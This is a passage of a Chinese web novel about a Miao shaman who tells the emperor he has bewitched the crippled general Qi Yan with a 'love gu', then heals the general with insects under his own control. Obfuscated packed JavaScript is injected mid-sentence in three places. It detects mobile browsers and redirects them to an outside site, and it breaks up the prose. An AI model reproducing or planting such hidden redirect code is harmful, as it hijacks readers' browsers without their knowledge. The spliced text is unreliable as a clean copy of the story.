宫里的地龙烧得正旺,丝毫感觉不到下雨带来的寒意,季渊衣着清凉,赤脚踩在温热的玉石地面上同宫女嬉闹,完全没注意到苗霜一般。 他不往这边看,苗霜也不开口,笑吟吟地往那一站。 被晾了许久,祝公公才上前提醒:“陛下,大巫来了。” 季渊咬了口一个小宫女递来的点心,又就着另一个小宫女的手喝了口茶,抬头看了苗霜一眼,挥挥手让她们退下。 宫女们鱼贯而出,寝殿里终于安静下来,季渊十分随意地往榻上一坐,吩咐身边侍候的小太监去灭火盆:“大巫新婚这两日,过得可好?” 苗霜敷衍地拱了拱手:“陛下赐的婚事,自然好。” “大胆!”祝公公呵斥道,“见陛下竟敢不跪?!” “哎,不必多礼,”季渊摆了摆手,“大巫是苗人,不习惯我们汉人的礼数也是情有可原。” 祝公公瞪了苗霜一眼,又满脸堆笑地拍起皇帝的马屁:“陛下宽厚仁慈,自不与此等刁民计较。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苗霜十分不解:“公公何出此言?” 不等他作答,又看向季渊:“陛下,那祁雁将军被严刑逼供三月都没交代,明显是个硬骨头,寻常法子已然行不通了,草民是想先与他拉近关系,让他放下戒心,这两日没提及圣蛊之事,也是不想让他生疑。” “那日在将军府上与祝公公起了争执,草民还以为是陛下的旨意,让祝公公帮我打配合,我维护将军,将军自会以为我同他站在一边。” “怎么今日祝公公却指责起我的不是来,难道是我会错了意?” 这话一出口,祝公公登时面色一变:“陛下,老奴——” 季渊一摆手制止了他,目光沉沉,语气却温和似水:“可大巫又怎么能确定祁雁吃软不吃硬?若你这般维护他依然不能将他打动,你又当如何?” “不知陛下可曾听说过一种蛊,名为‘情蛊’?新婚夜我已为他种下,受此蛊者,会不受控制地爱上施蛊的人,我越是与他欢好,情蛊的效果就越深,直至他为我死心塌地,掏心掏肺——别说是区区圣蛊的下落,就算我让他去死,他也会心甘情愿,毫不迟疑。” 季渊眼中笑意加深:“大巫果然没让朕失望。” 剧痛让苗霜的唇色有些泛白,但语调依旧平稳:“我不光要维护他,还要为他治伤——” “不可!万万不可啊陛下!”祝公公大惊,还想再劝,“陛下您好不容易才废了祁雁的武功,让他变成一个废人,怎可再让他恢复?若他真的伤愈,后患无穷!陛下三思啊!” “公公急什么,我的话还没说完,”苗霜不紧不慢道,“虽为他治伤,用的却非寻常医术,而是毒蛊,我用蛊虫为他续接经脉,而蛊虫由我控制,他虽然伤愈,身体却已不属于他,再配合情蛊……” 他说着上前一步,直直迎上季渊的视线,露出个残忍又疯狂的笑:“到那时,陛下甚至还可再派他上阵杀敌,只不过他早已不再是什么祁雁将军,而是从身到心都只属于您一个人的,提线木偶。” 8. 第 8 章 寝殿内陷入诡异的寂静。 两人的视线在虚空中交汇,犹如一场无声的厮杀。 突然,季渊抚掌大笑:“好,好!不愧是苗疆大巫,这般手段,甚合朕意!” 苗霜谦虚一笑:“陛下过誉了。” 季渊十分高兴地站了起来,搭住他的肩膀,俨然一副君民相和的模样:“你为朕排忧解难,朕要好好赏你,上次的贺礼朕觉得有些少了,便再赐将军府白银万两,锦缎百匹,你看如何?” “这些是草民应该做的,不奢求陛下赏赐,只是要为祁将军‘治伤’,需要许多药材来辅助,其中几味我寻遍京中药铺也没找到,不知可否请陛下帮忙?” “好说,好说,大巫还需要什么,尽管说就是。”季渊的手指从他颈侧移开,招了招手,示意伺候笔墨的小太监过来记录。 说完自己需要的东西,苗霜就离开了,季渊注视着他远去的背影,目光阴森。 这苗人气息稳定,脉搏如常,不像是命蛊反噬的表现,应该没在说谎。 毕竟命蛊反噬是什么样子,他亲眼见过。 季渊摸了摸腕上的红痣,回过身,冷冷地看了祝公公一眼。 祝公公倏然一惊。 * 冷汗顺着额角细细密密地冒了出来,沾湿了雪白的发丝,苗霜快步离开皇宫,面色煞白。 眼前一阵阵发黑,他强撑着身体往前走,雨后的湿冷已被太阳驱散,阳光照在他身上,他却感觉不到一丝暖意。 命蛊反噬带来的痛苦当真要命,要是再跟皇帝多聊一会儿,即便是他也要撑不下去了。 皇帝多疑,居然亲自来探他的气息和脉搏,还好他提前用蛊术稳住了,否则,他今天恐怕没办法活着走出皇宫。 同时他还知道了一件原著没提及过的事—— 季渊竟会武功,且武艺不差。 也对,这么一个多疑的人,自然会想方设法给自己增加保命的手段。 苗霜闷头往前走,步伐渐渐不再虚软,深入骨髓的虚弱和恶心终于散去,等到耳目重新清明,他才发现自己已经站在了京都繁华的街头,熙来攘往的人流和他擦肩而过,他夹杂在尘世纷扰中,于喧闹声里茫然驻足。 深吸一口尚带着泥土味道的空气,他回过神来。 因为容貌太过特殊,身边经过的人总要回头看他一眼,那些目光或惊讶,或好奇,或探寻……暂时应该还没人认出他是苗疆大巫。 这些汉人总是对异族带着天生的排斥和鄙夷,为了避免不必要的麻烦,还是先隐藏一下容貌吧。 苗霜走向没人的角落,招出一只蛊碟,蓝色的蛊蝶停在头发上,翅膀开合间落下肉眼无法捕捉的细小鳞粉。 这些鳞粉有轻微的致幻作用,可以改变他在旁人眼中的形象,不过能影响的范围有限,时间也短。 剧痛过后的疲倦让他有些烦躁,暂时不想回将军府,在附近随便转转吧。 前面不远有一家茶楼,他上了楼,找了个窗边的位置坐下。 时间已近晌午,他却没什么胃口,没要茶点,只叫来小二点了壶茶。 袖子里的蛇也和他一样没胃口,软塌塌地缠在手臂上,好像随时会掉出来。 茶楼里人并不多,大多是些有钱有闲附庸风雅的公子哥,或是自诩经纶满腹的文人墨客,三三两两聚在一起,喝茶闲谈。 交谈声落进苗霜耳中,一个青衫公子道:“奇怪,我就说今天这茶喝着不得劲呢,说书先生怎么换人了?” “周兄,你才发现?”另一个紫衫公子开了口,“来时我就问了掌柜的,他说现在京中不让说祁雁将军的书,那说书先生就走人不干了。” “……不让说祁雁,就换点别的呗,那祁雁都是个反贼了,就算能说,我们也不爱听啊。” “说的就是,”又一人插话进来,嘲笑道,“我看啊,八成是那老头肚子里总共没几两墨水,这辈子只会说一种书,现在不让他说了,可不就干不下去了吗!” 几人一阵哄笑,他们的交谈声吸引了他人注意,邻桌的几位客人也加入进来: “说到祁雁……你们听说了吗,他最近又被陛下从大牢里放出来了!” “放出来了?祁家不是已经被满门抄斩?谋逆之罪,本人居然还能被放出来?” “谁说不是呢,估计是念在他战功赫赫,饶他一命吧。” “战功赫赫?说破天也不过是个将军,有什么了不起的,咱们大雍国力强盛,难道缺他一个将军不成?那些个蛮夷之辈,换谁来打不是打,他这位置让别人顶上,一样是战功赫赫。” “可不是吗,据说接替他的那位金将军,这两年也是把匈奴打得落花流水,怕不是再过两年,整个漠北都是咱们大雍的了!” 几人说着不禁开怀大笑,片刻,不知是谁又道:“你们知道吗,皇上不光把祁雁放出来了,还赐了他一桩婚事。” “赐婚?不是吧,谁家的姑娘这么倒霉,要嫁给一个被株连九族的反贼?” “这就不知道了,父亲对这事讳莫如深,我怎么旁敲侧击他也不松口。不过我听说,那祁雁虽被放出来了,却已经成了个废人,不光是反贼,还是个瘫子。” 苗霜微微蹙眉,将视线移向窗外。 一个年近花甲的老者正站在楼下,背着包袱,他回头最后看了一眼茶楼的方向,沧桑的面容透着失望与沉痛,长叹道:“戕害忠良,奸臣当道,内忧外患,国将不国啊……” 老者的背影逐渐远去,苗霜抬起头,看向雨后如洗的碧空,眯起眼来。 晏安城…… 好一个河清海晏,国泰民安。 * 且不论京中百姓如何议论祁雁将军,祁雁将军本人今日又睡到日上三竿才醒。 他昨夜被苗霜的蛊虫折腾到昏厥,今天一醒来,只感觉像被人暴揍了一顿,浑身都要散架。 又缓了好一会儿才勉强能起身,他坐在床边,依然心有余悸。 ……还真疼啊。 大牢里受过的刑罚在这蛊术面前都变得不算什么,一些皮肉之伤,远远比不上蛊虫噬咬的疼痛,仿佛整个人被剖开,将灵魂咬个对穿。 痛到极致时,他感觉到了那只蛊虫的存在,可惜下一秒就昏厥了,一夜过去,蛊虫早已不在原先的位置。 得想个办法把这该死的东西挖出来…… 忽然,脚步声打断了他的思路,来福进屋给火盆添炭,发现他正坐着:“将军,您醒了。” 祁雁神色恹恹,淡淡地嗯了一声。 来福来府上已有半月,还是第一次听到将军应他的话,心中不禁有些欢喜,想再同他多说两句:“可要小人伺候您洗漱?” 祁雁没有让人伺候的习惯,冷淡拒绝了:“不必。” 虽然被回绝不出意料,但来福还是忍不住在心中叹息,这段时间将军从来不要他们伺候,不论是洗漱沐浴更衣还是其他的,明明身体不方便,却还是什么都坚持自己来。 不习惯是一方面,另一方面,恐怕还是接受不了。 想他昔日一个征战四方的大将军,乱军中取敌将首级犹如探囊取物,那是何等的威风神勇,如今却连生活起居都要别人照顾,这样的落差,当真不是普通人能承受得了。 来福小时候也是听着祁雁将军的故事长大的,他还记得长辈们讲故事时有多声情并茂,说那少年将军自幼在军中长大,小小年纪就展现出超乎常人的军事天赋,十二岁随父亲上阵杀敌,十四岁时第一次领兵,凭悬殊兵力以少胜多,大退匈奴三百里,一战成名。 如今,距离祁雁第一次上战场,已经过去了整整十六年,祁将军年纪也不小了,又落得武功废尽伤病加身…… 来福知道他重回战场的希望渺茫,可还是忍不住在内心祈盼,至少……至少不该以这样的方式收场。 犹豫许久,他终于鼓起勇气开口劝道:“小人知道将军新婚,放纵一下也是人之常情,可……可将军还是要保重身体才好。” 祁雁抬起头,莫名其妙地看了他一眼。 放纵?保重身体? 感觉到他的视线落在自己身上,来福额头不禁冒出冷汗——许是常年征战的影响,祁将军身上总有种凛冽的杀伐之气,很少有人敢和他对视,只有夫人不怕他。 来福低着头,不敢看对方的脸,目光从他喉结旁边那颗暗色的小痣上匆匆扫过,忽然觉得哪里不对劲。 奇怪……原来将军脖子上有颗痣吗,以前怎么从没注意过。 短暂的分神过后,他硬着头皮继续往下说:“小人听说……有些人卧病后反而会更渴求云雨之事,以精神上的欢愉冲淡躯体的病痛,此法……虽能得一时之快,时间久了却对身体有损,还望将军……节制才是。” 说完,来福直接闭上眼睛等死了,他一个小厮本不该僭越管这种事,可将军……将军都把自己做晕了,他实在忍不住不劝啊! 祁雁眉头渐渐拧紧。 这都什么跟什么,他何时……等等。 难道是昨晚? 昨夜在祠堂,他的确听到了来福的 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祁雁皱了皱眉,没再细究,又问:“今日府上为何如此吵闹?” “是之前夫人给府上新雇的一批佣人,今日到了,刚搬进来还在收拾屋子,故而有些吵闹。” 祁雁冷冷道:“那你还不快去帮忙?” 来福一惊,急忙低头:“是。” 将军这是不高兴了。 他不敢再多说话,迅速离开了房间。 待他离去,祁雁紧绷的身体慢慢松懈下来,心绪逐渐归于平静。 抛开那些乱七八糟的事情不谈,昨夜他又一次试探苗霜,的确试探出了一些结果。 那时他真真切切感受到了苗霜的恨意,身为苗疆大巫,他果然还是在意自己的族人,恨他这个率兵血洗苗寨的将军是理所应当。 既然恨他,那就同样会恨大雍皇帝,他基本可以确定,苗霜并非真心投诚,而是另有所图。 但这几天他对苗寨款首只字未提,仿佛对他的死并不关心,昨夜也只是提到了“杀我族人,抢我族圣物”,再加上之前交战时迟迟没有出手……种种迹象表明,这位大巫和款首似乎也不是一条心。 大雍建朝至今百余年,这些苗人时常在雍国和南照之间朝秦暮楚,苗霜既不帮款首,就说明他并不想依附南照。 不肯依附南照,亦不想投效大雍,虽不知他究竟在图谋什么,但既是敌人的敌人,就算不能成为朋友,未尝不可加以利用。 想着,祁雁慢慢挪到床边,尝试把自己移上轮椅。 他手上并没什么力气,每次上下床都很困难,今日不知道为什么,身体尤其虚弱,胳膊一个没撑住,轮椅往后滑了一点,他整个人狠狠摔在地上。 浑身上下疼作一团,一时竟分不清究竟磕到了哪里,祁雁摔得有些发蒙,半天没缓过劲来。 这已经不是他第一次从轮椅上摔下来了,他皱着眉尝试爬起来,可不听使唤的双腿此时只是累赘,害他一次又一次失败,一次又一次跌回原地。 折腾了半天也没能爬起,仅剩的一点力气也耗尽了,祁雁坐在地上,忽然笑出声来。 拖着这样一副残躯,他究竟还在痴心妄想些什么,就算他能利用苗霜又如何,难道他还能再骑上马,再为大雍征战,在塞外的戈壁和草原上同匈奴厮杀? 这双手曾经挽得了最重的弓,现在却只能狠狠掐着自己的腿……甚至都掐不疼。 祁雁眼圈烧得通红,他慢慢抱住自己的腿,把脸埋进膝盖,燃烧的火盆也驱散不了周身寒意。 早知如此,或许当初他就不该活下来。 就该在陛下发难时果断认罪,一了百了,那样至少他还能再见父亲一面,而不是像现在这般,只有一封力透纸背的家书。 昨夜在祠堂时,他跪在父亲的灵位面前,真的很想问问,牺牲祁家三百余口只换他一人活着,真的值得吗? 他活着又能改变什么,难道还能救这摇摇欲坠的大雍江山于水火? 思绪很乱,和这遍体鳞伤的躯体狼狈得如出一辙,也不知道在地上坐了多久,忽然有道声音将他拉回现实—— “将军怎么坐在地上?”苗霜笑吟吟地从外面走了进来,“昨晚在祠堂还没跪够?你要真这么喜欢在地上待着,不如以后睡觉也打地铺。” 祁雁缓缓抬起头来。 他终于放下了那早已被践踏成泥的尊严,哑着嗓子道:“拉我一把。” 9. 第 9 章 苗霜其实很不想帮他。 毕竟昨晚已经试过了,这家伙真的很沉,若是拽了没拽动,委实难堪。 可看着他疲惫的双眼,已到嘴边的挖苦终究是咽了回去,他有些不耐烦地啧了一声:“这就是你求人的态度?也就是我脾气好,要是换作别人,非但不帮你,还要将你修理一顿。” 祁雁:“……” 脾气好?说谁? 苗霜将轮椅重新推回近前,双手攥住了祁雁的手,又与他脚尖相抵,猛地一拽,才算把人从地上拉起来,迅速转移上轮椅。 祁雁因为用力而手背凸起青筋,还没来得及松开,忽然感觉腕上一凉。 苗霜袖子里的那条白蛇不知道为什么游了出来,正顺着两人交握的手,往祁雁胳膊上爬。 白蛇的叛变让苗霜不爽地眯了眯眼,明明是他的命蛊,却见缝插针地往别人身上爬。 正要开口叫它回来,就听见来福由远及近的呼唤声:“夫人!将军!” 祁雁猛地回神,触电般缩回了手,迅速转动轮椅一侧的轮子,背过身去。 苗霜阴森森地看向消失在祁雁袖子里的一截蛇尾巴,回头迎上来福:“何事?” “夫人,宫里来人了,送来了好多银子和布匹,您快去看看吧!” “知道了,走。” 听着他们的脚步远去,祁雁抬起手。 白色的小蛇从袖中探出头来,吐了吐信子,努力将自己伸长,亲昵地蹭了蹭他的脸。 冰凉的蛇鳞擦过下颌,带来怪异又奇特的触感。 祁雁愣了一下,目光不由自主地柔和下来。 这小东西倒是和苗霜没有半点相似之处,如果不是苗霜亲口承认,他断不敢相信这蛇就是他的命蛊。 祁雁用指腹轻轻抚摸着小蛇,让它盘绕在自己手上,不知道为什么,这蛇好像很喜欢他。 祁将军有个不为人知的癖好,他其实很喜欢小动物,可惜他常年征战在外,双手满是鲜血,杀气太重,天生感知敏锐的动物从不乐意和他亲近。 无论是军营里的小马驹,还是偶然捡到的小狗崽,见了他就躲得远远的。 在某次尝试喂小马驹和它增进感情,却让母马受惊差点踢伤人以后,他就再也不做这种事了。 相比满足自己并不重要的癖好,他还是希望它们好好的。 这么多年来,他第一次遇到不怕他还主动接近他的动物,这不禁让他心中欢喜,可以暂时将所有的痛苦都抛在脑后。 祁雁在这里逗蛇,而另一边,两袖空空的苗霜感觉自己手有点痒。 这该死的小叛徒,明明是他的命蛊,却屡屡往祁雁身上爬,每天早上醒来,他都得先把蛇从祁雁衣服里抓回来。 原著里不是说这蛇和他心意相通?究竟通在哪儿了? “小人这辈子都没见过这么多钱,”来福望着眼前一箱箱的白银发呆,感觉整个院子都变得银光闪闪的,“夫人,陛下为什么突然给咱们这么多赏赐?是不是意味着这事彻底过去了,将军可以官复原职了?” 苗霜回过神来,冷笑了下:“你想得倒美。” 宫里送来的赏赐已经全部卸在前院,总共二十箱,其中一半是银子,共计一万两,剩下的则是珠宝、布匹和药材。 虽然他说不要赏赐,但皇帝还是给了,一分没少,还多了。 苗霜看着那些白花花的银子,脸上神情不明。 祁家三代出生入死换来的军功,也不过皇帝随手一赏。 “把这些东西都搬到库房去吧,记得入账。”苗霜吩咐道。 “是,”来福招呼着府内的下人们,“快来帮忙!” 院子里忙得热火朝天,来福又说:“还是夫人您有先见之明,提前让小的雇了人回来,不然这么多东西小的一个人搬,非要累死不可。” 苗霜瞥他一眼:“就你嘴甜?” 来福傻笑着摸了摸后脑勺:“嘿嘿。” 苗霜打量着新雇的这批人,视线落在库房门口,一个四十出头的中年人正拿着账本,一边清点箱子里的东西一边记录。 他围着箱子走来走去,苗霜注意到这人步态不稳,一条腿似乎有些跛。 他皱了皱眉,把来福叫过来,压低声音:“你怎么还雇了个跛子进来,家里有将军一个跛子还不够?” “不是……夫人您说,一定要老实的吗?”来福挠头,“小的打听了好几圈,就属他最老实,这些账房先生一个个都可会打算盘了,想找个老实的不容易啊。” 苗霜对他的话半信半疑:“有多老实?” 来福往库房的方向看了一眼,把他拉到一边:“听说他之前因为不肯在账目上作假,得罪了大主雇,被人打断了腿不说,还强占了他的夫人,他夫人因为受不了屈辱,悬梁自尽了,只剩下一个女儿。” “这是什么时候的事?”苗霜问。 “就一年多以前,打那之后,再没人敢雇他了,他说如果今年之内再找不到活计,就要离开京城另谋出路了。我跟他商量工钱时,把价格压到了正常价格的八成,没想到他连还价都没还,一口就答应了。” 思索了一会儿,苗霜道:“知道了。” 他朝账房走去:“你是新来的账房先生?” 中年人停下手里的活儿,用满是沧桑的眼睛看他,又低头:“是,见过夫人。” “叫什么名字?” “卢方。” 苗霜随口跟他寒暄了几句,切入正题:“看卢先生年纪不小了,家中可有亲眷?” 闻言,卢方神色一黯:“内人早亡,膝下只有一小女。” “那你在这里做工,你女儿怎么办?” 卢方犹豫了一下才道:“夫人若不介意,我每日从府上打包些吃食,给小女送去……啊,开销可从我的工钱里扣。” “倒也不缺那点饭钱,只是长此以往,终究不是办法。” “那夫人的意思是……?” “不如把你女儿接到府上来住,这将军府如此空旷,人多也热闹些。” 卢方一惊,眼中瞬间有了光彩:“夫人这话……当真?” “我还能骗你不成?” “谢夫人,谢夫人!”卢方激动得声音发抖,就要跪下给他磕头。 苗霜一把扶住了他:“卢先生不必多礼,既然雇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289242|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你为账房先生,那我们就是一家人,将军待人素来宽厚,断没有亏待自家人的道理,只是最近将军身体抱恙,府中一切事务由我代劳,还望先生不要介意才是。” 卢方连连摇头,眼中含泪,竟是激动得说不出话。 “把这些账目录完,就去接你女儿吧。”苗霜又说。 “是,是……多谢夫人。”卢方深深朝他鞠了一躬。 “哦还有,近日府上要购置一批家具,出账频繁,还请先生多多费心。” “夫人放心,都是我分内之事。” 苗霜点了点头,转身离去。 他自然不是因为心肠软才让账房去接女儿,身为魔尊,他从来没有这种多余的感情,只是单纯信不过。 下蛊终究是下下之选,有女儿押在这里,量这位父亲不敢造次。 人之软肋不过亲情友情爱情,而他苗霜恰好一无所有。 银子有了,之前没做成的事就可以提上日程,打发了来福去测量家具尺寸,苗霜自己开始挑选药材。 皇帝给的赏赐自然不必多说,短短两个时辰内凑齐了所有他需要的药材,甚至包括中原不产出的,这效率还真是惊人。 可见那些药材并非没有,只是平民百姓买不到而已。 挑好了药材,苗霜让人把煎药用的炉子和砂锅架到了婚房门口,他没借用厨房,也不打算让其他人帮忙。 祁雁这会儿刚吃完午饭,看到他在门口摆弄,转着轮椅来到他面前:“你在干什么?” “煎药。” “你生病了?” 苗霜莫名其妙地看了他一眼:“给你煎。” “……”祁雁简直想象不出这几个字能从他嘴里吐出来,震惊了一下,“什么药?” 苗霜的指尖从那三个砂锅上一一点过:“给你续命的药,给你治伤的药,给你壮阳的药。” 祁雁猛地咳嗽起来。 “逗你的,”苗霜恶劣一笑,“这锅不是药,用来滤药渣的锅而已。” 他俯身将两个炉子都点了起来,盖好锅盖,坐在炉前守着。 祁雁神色怪异地打量他半晌,问道:“你真要给我治伤?” “怎么,将军难道以为我之前是在同你说笑?” 祁雁有些难以置信,他的确不相信这苗人真会帮他,虽然现在看来苗霜并不是陛下安插在他身边的卧底,可他到底是血洗了苗寨,于情于理,苗霜不该帮他。 “为何帮我?”他问。 “帮你?将军误会了,我不是说过了,要把你做成人傀带回苗疆,”苗霜站起身来,居高临下地注视着他,笑吟吟道,“在那之前,当然要先治好你,我对人傀的要求可是很高的,不能难看,更不能难用。” 祁雁微微攥紧了轮椅扶手,眼中闪过一丝狠戾:“你就不怕我一旦伤愈,立马杀了你?” 苗霜不禁笑出了声:“你杀不了我,将军。” “你就那么自信?” “那是自然,因为——” 苗霜伸出手,摸了摸他喉结旁的小痣,附在他耳边低声道:“我已给你种下情蛊,你不但不会杀我,还会不可自拔地爱上我。” 10. 第 10 章 祁雁愕然:“?!” 一股难以言说的恶寒涌上心头,他下意识拍开了对方的手,摸向自己的脖子。 喉结旁边不知何时多了个细小的凸起,他迅速转动轮椅来到铜镜前,就看到镜子里那颗暗色的小痣—— 他从不知道自己脖子上有颗痣。 毫无疑问,这是蛊虫。 祁雁眉目一片阴沉,试图把这该死的虫子生生抠出来,可抬手的瞬间,蛊虫却又消失无踪。 ……游走了? “我劝你放弃生挖蛊虫的想法,”苗霜抱着胳膊站在门口,“且不说那样会让你生不如死,情蛊一旦种下,除了你我一方身死,再没第二种解法,在它成熟之前,断不可能被你逮到。” “……怎样才算成熟?” 苗霜来到他身边,从背后抱住了他,扣住他的下颌迫使他看向镜子,镜子里的两人亲密无间,他用脸颊贴住他的耳鬓,对他低声耳语:“待它完全变红。” 指尖向下,在祁雁喉结边轻轻磨碾,原本已经消失的蛊虫便又重新显现出来—— “不过那时,你也已经对我爱得死去活来,祁雁,我早说过了,我们苗人一生只嫁一人,既然和我成婚,这辈子你只能属于我。” 祁雁怒火中烧,目眦欲裂,咬牙切齿地盯着镜中人,恨不能将其生吞活剥:“苗、霜!” “哈哈……” 凛冽的杀意让苗霜汗毛倒竖,久违的刺激让他兴奋地舔了舔嘴角。 这样才对。 当一个人已心生死志,唯有仇恨能让他负重前行。 不过这些中原人还真是好骗,他说什么就信什么,世上要真有这么好用的蛊虫,原主为何不在一开始就直接种给皇帝?让皇帝为他去死,把江山拱手相让,岂不美哉? 祁雁一时气得气血上涌,苍白的面容都有了几分血色,寸断的经脉因承受不住气血逆行而传来剧痛,好不容易忍过去,就看到苗霜已经回到炉子前,继续煎药了。 祁雁用力闭了闭眼。 没想到之前的猜测竟成了真,昨夜在祠堂,果然是因为这情蛊。 但苗霜究竟是什么时候对他下的蛊,他居然毫无察觉。 ……罢了。 如果对方真能治好他,忍一时倒也无妨,他不相信区区蛊虫真能左右他的思想,等他恢复得差不多,就杀了苗霜,解掉情蛊。 感觉到他冰冷的视线落在自己背后,苗霜不用想也知道他正在琢磨怎么杀自己,没搭理,掀开砂锅盖看了看药煎得怎么样了。 空气中满是中药的苦味,来福在前院都闻到了,还过来看了一眼,询问需不需要帮忙。 苗霜婉拒了他的好意,把煎好的药过滤出来,添水又煎了两副。 有些药材太珍贵了,他只怕没办法让皇帝再赏第二次,多煎一副虽然药效会有折损,但应该问题不大。 熄灭了炉火,苗霜忽然有些出神。 那种奇怪的熟悉感又上来了。 好像这些事他曾经做过无数次,熟练到已经刻进骨子里,步骤、时间、火候……信手拈来,从不出错。 苗霜皱了皱眉,将煎好的药均分成三份,倒出一份在碗里。 天气太冷,只是放了这么一会儿,药已经不烫了,他背对着房门,用骨刃割破指腹,滴了一滴血在药汤里。 他的血有剧毒,但少量使用亦可当药,且有增强蛊虫活性的效果。 他起身将药端给祁雁:“趁热喝。” 祁雁看着这碗乌漆麻黑的药汤,眉头紧拧。 他自幼习武,极少生病,除了打仗时受伤以外,从不喝药。 但此刻也只能屏住呼吸一饮而尽,温热的药汤灌进胃里,舌头才尝出味道,难喝得让他差点呕出来。 辛甜酸涩腥苦都揉在这一碗药里,让他几乎觉得苗霜是故意的,又回想起上次喝过的药酒,不禁怀疑那锅药里放了半锅虫子。 “将军那是什么表情?”苗霜挑了挑眉,“一碗药而已,看把你难的——每日早晚各一次,连服三月。” 祁雁:“…………” 这伤是非治不可吗? 苗霜又掏出一个细小的竹管,对他说:“手给我。” 祁雁一脸戒备:“干什么?” “不是要治伤吗?先从你的手治起,你该不会以为一碗药就能把你这七零八落的筋骨重新接好吧?” 祁雁犹豫着朝他伸手。 “打算先治左手,还是右手?我建议你选左手,万一治废了还有右手可用,当然你也可以两只一起,不过治疗期内你这手没法用,我可不会喂你吃饭。” 祁雁眉头跳了跳:“你到底行不行?” “我说过了,我的法子不比寻常医术温和,怕你承受不住,你这筋断了太久,就算接好,功能也大不如前,要想恢复如初,我只能用蛊虫帮你修复。” 祁雁看了看自己手腕上狰狞的疤痕,将信将疑:“你这蛊术能让我恢复如初?” 苗霜微微一笑:“挽弓射箭,不在话下。” 祁雁呼吸微滞。 他以为苗霜说帮他治疗,只是能让他重新站起来,却没想到对方说能让他恢复到受伤之前。 他对自己这一身伤早已不抱希望,如果哪天能抛下这轮椅再次行走,已经算是奇迹,从不敢奢求还能骑马习武,握枪射箭。 光是想想,已能让他心底的死灰复燃,冷却的血液重新沸腾。 祁雁喉结滚动,冲对方伸出右手。 “你倒还有几分胆色,”苗霜握住他的手腕,笑吟吟道,“哦,忘了告诉你,我可以彻底治好你,但依赖我的蛊术需要付出一些代价。” 祁雁顿时有种不好的预感。 “蛊虫受我控制,被蛊虫修复好的手筋自然也受我控制,也就是说——”苗霜在他腕上捏了捏,“以后这只手就不再属于你自己,你不惹我,我就不操纵你身体里的蛊虫,若是惹到了我,我可不保证会让你用这双手做出什么事。” “……”祁雁眼前一黑。 说来说去,不还是把他做成人傀?! “还有你这双腿,”苗霜的视线向下扫去,颇为遗憾地说,“可惜那处没断,皇帝怎么不阉了你,我也能给你治好。” 祁雁额头青筋直跳,到底是没把手抽回去,冷冷道:“别废话了,真想控制我,也要先治好再说。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289243|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苗霜挑了挑眉。 他就知道祁雁会赌,毕竟这是他恢复的唯一方法,在原著里,他也做出了同样的选择。 甚至是他主动利用的原主。 不过原主到底和他不是一条心,给他治疗时没出全力,导致他伤势没好彻底。 “去床上坐着。”苗霜道。 祁雁皱了皱眉,但没说什么,乖乖把自己挪上了床。 苗霜撩开他右手袖管,打开竹管塞子,将里面的东西倒在对方手腕上。 祁雁疑惑地看着那些红色粉末,以为是什么药粉,想要询问,却见那些粉末正在慢慢改变位置。 明明没人触碰,也没有风。 等他定睛细看,才发现那哪里是什么药粉,分明是密密麻麻不计其数的细小蛊虫! 祁雁只感觉浑身汗毛都竖了起来,鸡皮疙瘩一层层往外冒,下意识想要挣扎,却被苗霜死死按住,冷声命令:“别动。” 红色蛊虫很快钻进了皮肤,带来难以言说的刺痒,但紧接着这种刺痒就被剧烈的疼痛压过,那感觉像是有一万只虫子在噬咬他的手筋——或许事实也的确如此。 祁雁疼得面色煞白,苗霜松开他的瞬间,他立刻用力掐住了自己的手腕,五指在剧痛中不可抑制地抽搐痉挛,他咬紧牙关,才没让自己叫出声来。 钻心的疼痛让他眼前一阵阵发黑,不知道过了多久,疼痛终于慢慢缓解,他额头满是冷汗,有种近乎虚脱的晕眩。 “这下信我没骗你了?”苗霜好整以暇地靠在旁边,欣赏着他疼到说不出话的表情,“刚才给你喝的药里有镇痛的成分,只是治一只手你就疼成这样,我看你这腿也别治了,省得活活疼死。” 祁雁微微喘着气,咬牙道:“我能忍得住。” 苗霜轻哼了声:“嘴比唧硬。” 祁雁:“……” 苗霜将之前熬好的另外一锅药放在桌上,已经滤去了药渣,因为一直盖着盖子,药汤尚有余温。 这锅药的味道似乎比前面那锅更难闻,祁雁已经开始反胃,正在他思考这治伤的代价是否有些太大了时,苗霜将一卷纱布按进了锅里。 ……原来不是用来喝的。 祁雁松了口气。 等到纱布被药液充分浸润,苗霜将它捞出,攥去多余的水分,仔仔细细缠在祁雁手上,从虎口一直绕到小臂。 这玩意委实难闻,原本缠在祁雁胳膊上睡觉的蛇都被熏跑了,换到另一只手缠。 绑好绷带,苗霜又拿出一只手炉,从火盆里捡了两块木炭扔进去,盖好盖子递给祁雁:“拿着。” “……我没那么冷。” “低温会影响蛊虫的活性,如果它们被冻得不干活,导致你恢复得不好,可别怪我没提醒你。” 祁雁只得接过。 巴掌大的手炉熨着掌心,引得手筋一抽一抽地疼,却又不像之前那样难忍,反而有点舒服。 